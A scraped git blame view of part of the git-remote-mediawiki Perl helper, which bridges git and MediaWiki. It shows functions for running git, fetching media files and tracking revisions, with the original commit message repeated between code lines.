git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
}
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} (scalar keys %pages) . " pages found.\n";
|
2012-07-06 12:03:11 +02:00
|
|
|
return %pages;
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
|
2020-09-21 12:39:57 +02:00
|
|
|
# usage: $out = run_git_quoted(["command", "args", ...]);
|
|
|
|
# $out = run_git_quoted(["command", "args", ...], "raw"); # don't interpret output as UTF-8.
|
2020-09-21 12:40:00 +02:00
|
|
|
# $out = run_git_quoted_nostderr(["command", "args", ...]); # discard stderr
|
|
|
|
# $out = run_git_quoted_nostderr(["command", "args", ...], "raw"); # ditto but raw instead of UTF-8 as above
|
2020-09-21 12:39:57 +02:00
|
|
|
sub _run_git {
|
2012-06-27 11:10:18 +02:00
|
|
|
my $args = shift;
|
2013-06-14 15:50:30 +02:00
|
|
|
my $encoding = (shift || 'encoding(UTF-8)');
|
2020-09-21 12:39:57 +02:00
|
|
|
open(my $git, "-|:${encoding}", @$args)
|
2013-06-14 15:50:30 +02:00
|
|
|
or die "Unable to fork: $!\n";
|
2013-06-14 15:50:26 +02:00
|
|
|
my $res = do {
|
|
|
|
local $/ = undef;
|
|
|
|
<$git>
|
|
|
|
};
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
close($git);
|
|
|
|
|
|
|
|
return $res;
|
|
|
|
}
|
|
|
|
|
2020-09-21 12:39:57 +02:00
|
|
|
sub run_git_quoted {
|
|
|
|
_run_git(["git", @{$_[0]}], $_[1]);
|
|
|
|
}
|
|
|
|
|
2020-09-21 12:40:00 +02:00
|
|
|
sub run_git_quoted_nostderr {
|
|
|
|
_run_git(['sh', '-c', 'git "$@" 2>/dev/null', '--', @{$_[0]}], $_[1]);
|
2020-09-21 12:39:57 +02:00
|
|
|
}
|
|
|
|
|
2012-06-27 16:21:29 +02:00
|
|
|
sub get_all_mediafiles {
|
|
|
|
my $pages = shift;
|
|
|
|
# Attach list of all pages for media files from the API,
|
|
|
|
# they are in a different namespace, only one namespace
|
|
|
|
# can be queried at the same moment
|
|
|
|
my $mw_pages = $mediawiki->list({
|
|
|
|
action => 'query',
|
|
|
|
list => 'allpages',
|
2013-06-14 15:50:30 +02:00
|
|
|
apnamespace => get_mw_namespace_id('File'),
|
2012-06-27 16:21:29 +02:00
|
|
|
aplimit => 'max'
|
|
|
|
});
|
|
|
|
if (!defined($mw_pages)) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "fatal: could not get the list of pages for media files.\n";
|
|
|
|
print {*STDERR} "fatal: '$url' does not appear to be a mediawiki\n";
|
|
|
|
print {*STDERR} "fatal: make sure '$url/api.php' is a valid page.\n";
|
2012-06-27 16:21:29 +02:00
|
|
|
exit 1;
|
|
|
|
}
|
|
|
|
foreach my $page (@{$mw_pages}) {
|
|
|
|
$pages->{$page->{title}} = $page;
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub get_linked_mediafiles {
|
|
|
|
my $pages = shift;
|
2013-06-14 15:50:14 +02:00
|
|
|
my @titles = map { $_->{title} } values(%{$pages});
|
2012-06-27 16:21:29 +02:00
|
|
|
|
2013-06-14 15:50:34 +02:00
|
|
|
my $batch = BATCH_SIZE;
|
2012-06-27 16:21:29 +02:00
|
|
|
while (@titles) {
|
|
|
|
if ($#titles < $batch) {
|
|
|
|
$batch = $#titles;
|
|
|
|
}
|
|
|
|
my @slice = @titles[0..$batch];
|
|
|
|
|
|
|
|
# pattern 'page1|page2|...' required by the API
|
|
|
|
my $mw_titles = join('|', @slice);
|
|
|
|
|
|
|
|
# Media files could be included or linked from
|
|
|
|
# a page, get all related
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
prop => 'links|images',
|
|
|
|
titles => $mw_titles,
|
2013-06-14 15:50:30 +02:00
|
|
|
plnamespace => get_mw_namespace_id('File'),
|
2012-06-27 16:21:29 +02:00
|
|
|
pllimit => 'max'
|
|
|
|
};
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
|
|
|
while (my ($id, $page) = each(%{$result->{query}->{pages}})) {
|
2012-07-04 14:53:36 +02:00
|
|
|
my @media_titles;
|
2012-06-27 16:21:29 +02:00
|
|
|
if (defined($page->{links})) {
|
2013-06-14 15:50:14 +02:00
|
|
|
my @link_titles
|
|
|
|
= map { $_->{title} } @{$page->{links}};
|
2012-07-04 14:53:36 +02:00
|
|
|
push(@media_titles, @link_titles);
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
if (defined($page->{images})) {
|
2013-06-14 15:50:14 +02:00
|
|
|
my @image_titles
|
|
|
|
= map { $_->{title} } @{$page->{images}};
|
2012-07-04 14:53:36 +02:00
|
|
|
push(@media_titles, @image_titles);
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
2012-07-04 14:53:36 +02:00
|
|
|
if (@media_titles) {
|
|
|
|
get_mw_page_list(\@media_titles, $pages);
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
@titles = @titles[($batch+1)..$#titles];
|
|
|
|
}
|
2013-06-14 15:50:12 +02:00
|
|
|
return;
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
|
|
|
|
sub get_mw_mediafile_for_page_revision {
|
|
|
|
# Name of the file on Wiki, with the prefix.
|
2012-07-04 14:53:36 +02:00
|
|
|
my $filename = shift;
|
2012-06-27 16:21:29 +02:00
|
|
|
my $timestamp = shift;
|
|
|
|
my %mediafile;
|
|
|
|
|
2012-07-04 14:53:36 +02:00
|
|
|
# Search if on a media file with given timestamp exists on
|
|
|
|
# MediaWiki. In that case download the file.
|
2012-06-27 16:21:29 +02:00
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
prop => 'imageinfo',
|
2013-06-14 15:50:30 +02:00
|
|
|
titles => "File:${filename}",
|
2012-06-27 16:21:29 +02:00
|
|
|
iistart => $timestamp,
|
|
|
|
iiend => $timestamp,
|
|
|
|
iiprop => 'timestamp|archivename|url',
|
|
|
|
iilimit => 1
|
|
|
|
};
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
|
2012-07-04 14:53:36 +02:00
|
|
|
my ($fileid, $file) = each( %{$result->{query}->{pages}} );
|
2012-06-27 16:21:29 +02:00
|
|
|
# If not defined it means there is no revision of the file for
|
|
|
|
# given timestamp.
|
|
|
|
if (defined($file->{imageinfo})) {
|
|
|
|
$mediafile{title} = $filename;
|
|
|
|
|
|
|
|
my $fileinfo = pop(@{$file->{imageinfo}});
|
|
|
|
$mediafile{timestamp} = $fileinfo->{timestamp};
|
2012-07-04 14:53:36 +02:00
|
|
|
# Mediawiki::API's download function doesn't support https URLs
|
|
|
|
# and can't download old versions of files.
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "\tDownloading file $mediafile{title}, version $mediafile{timestamp}\n";
|
2012-07-04 14:53:36 +02:00
|
|
|
$mediafile{content} = download_mw_mediafile($fileinfo->{url});
|
2012-06-27 16:21:29 +02:00
|
|
|
}
|
|
|
|
return %mediafile;
|
|
|
|
}
|
|
|
|
|
2012-07-04 14:53:36 +02:00
|
|
|
sub download_mw_mediafile {
|
2013-06-14 15:50:22 +02:00
|
|
|
my $download_url = shift;
|
2012-06-27 16:21:29 +02:00
|
|
|
|
2013-06-14 15:50:22 +02:00
|
|
|
my $response = $mediawiki->{ua}->get($download_url);
|
2013-06-14 15:50:34 +02:00
|
|
|
if ($response->code == HTTP_CODE_OK) {
|
2014-04-23 16:34:29 +02:00
|
|
|
# It is tempting to return
|
|
|
|
# $response->decoded_content({charset => "none"}), but
|
|
|
|
# when doing so, utf8::downgrade($content) fails with
|
|
|
|
# "Wide character in subroutine entry".
|
|
|
|
$response->decode();
|
|
|
|
return $response->content();
|
2012-06-27 16:21:29 +02:00
|
|
|
} else {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Error downloading mediafile from :\n";
|
|
|
|
print {*STDERR} "URL: ${download_url}\n";
|
|
|
|
print {*STDERR} 'Server response: ' . $response->code . q{ } . $response->message . "\n";
|
2012-06-27 16:21:29 +02:00
|
|
|
exit 1;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub get_last_local_revision {
|
2020-09-21 12:39:59 +02:00
|
|
|
# Get note regarding last mediawiki revision.
|
2020-09-21 12:40:00 +02:00
|
|
|
my $note = run_git_quoted_nostderr(["notes", "--ref=${remotename}/mediawiki",
|
|
|
|
"show", "refs/mediawiki/${remotename}/master"]);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
my @note_info = split(/ /, $note);
|
|
|
|
|
|
|
|
my $lastrevision_number;
|
2013-06-14 15:50:30 +02:00
|
|
|
if (!(defined($note_info[0]) && $note_info[0] eq 'mediawiki_revision:')) {
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} 'No previous mediawiki revision found';
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
$lastrevision_number = 0;
|
|
|
|
} else {
|
|
|
|
# Notes are formatted : mediawiki_revision: #number
|
|
|
|
$lastrevision_number = $note_info[1];
|
|
|
|
chomp($lastrevision_number);
|
2013-06-14 15:50:31 +02:00
|
|
|
print {*STDERR} "Last local mediawiki revision found is ${lastrevision_number}";
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
}
|
|
|
|
return $lastrevision_number;
|
|
|
|
}
|
|
|
|
|
2012-07-06 12:03:14 +02:00
|
|
|
# Get the last remote revision without taking in account which pages are
|
|
|
|
# tracked or not. This function makes a single request to the wiki thus
|
|
|
|
# avoid a loop onto all tracked pages. This is useful for the fetch-by-rev
|
|
|
|
# option.
|
|
|
|
sub get_last_global_remote_rev {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
2012-07-06 12:03:14 +02:00
|
|
|
|
|
|
|
my $query = {
|
|
|
|
action => 'query',
|
|
|
|
list => 'recentchanges',
|
|
|
|
prop => 'revisions',
|
|
|
|
rclimit => '1',
|
|
|
|
rcdir => 'older',
|
|
|
|
};
|
|
|
|
my $result = $mediawiki->api($query);
|
|
|
|
return $result->{query}->{recentchanges}[0]->{revid};
|
|
|
|
}
|
|
|
|
|
|
|
|
# Get the last remote revision concerning the tracked pages and the tracked
|
|
|
|
# categories.
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
sub get_last_remote_revision {
|
2013-07-04 22:38:58 +02:00
|
|
|
$mediawiki = connect_maybe($mediawiki, $remotename, $url);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
chronological order. To do so, it uses git rev-list --children HEAD and
travels the tree from remotes/origin/master to HEAD through children. In
other words:
* Shortest path from remotes/origin/master to HEAD
* For each commit encountered, push blobs related to this commit
Signed-off-by: Jérémie Nikaes <jeremie.nikaes@ensimag.imag.fr>
Signed-off-by: Arnaud Lacurie <arnaud.lacurie@ensimag.imag.fr>
Signed-off-by: Claire Fousse <claire.fousse@ensimag.imag.fr>
Signed-off-by: David Amouyal <david.amouyal@ensimag.imag.fr>
Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr>
Signed-off-by: Sylvain Boulmé <sylvain.boulme@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2011-09-01 18:54:55 +02:00
|
|
|
|
2012-07-06 12:03:11 +02:00
|
|
|
my %pages_hash = get_mw_pages();
|
|
|
|
my @pages = values(%pages_hash);
|
Add a remote helper to interact with mediawiki (fetch & push)
Implement a gate between git and mediawiki, allowing git users to push
and pull objects from mediawiki just as one would do with a classic git
repository thanks to remote-helpers.
The following packages need to be installed (available on common
repositories):
libmediawiki-api-perl
libdatetime-format-iso8601-perl
Use remote helpers in order to be as transparent as possible to the git
user.
Download Mediawiki revisions through the Mediawiki API and then
fast-import into git.
Mediawiki revision number and git commits are linked thanks to notes
bound to commits.
The import part is done on a refs/mediawiki/<remote> branch before
coming to refs/remote/origin/master (Huge thanks to Jonathan Nieder
for his help)
We use UTF-8 everywhere: use encoding 'utf8'; does most of the job, but
we also read the output of Git commands in UTF-8 with the small helper
run_git, and write to the console (STDERR) in UTF-8. This allows a
seamless use of non-ascii characters in page titles, but hasn't been
tested on non-UTF-8 systems. In particular, UTF-8 encoding for filenames
could raise problems if different file systems handle UTF-8 filenames
differently. A uri_escape of mediawiki filenames could be imaginable, and
is still to be discussed further.
Partial cloning is supported using one of:
git clone -c remote.origin.pages='A_Page Another_Page' mediawiki::http://wikiurl
git clone -c remote.origin.categories='Some_Category' mediawiki::http://wikiurl
git clone -c remote.origin.shallow='True' mediawiki::http://wikiurl
Thanks to notes metadata, it is possible to compare remote and local last
mediawiki revision to warn non-fast forward pushes and "everything
up-to-date" case.
When allowed, push looks for each commit between remotes/origin/master
and HEAD, catches every blob related to these commit and push them in
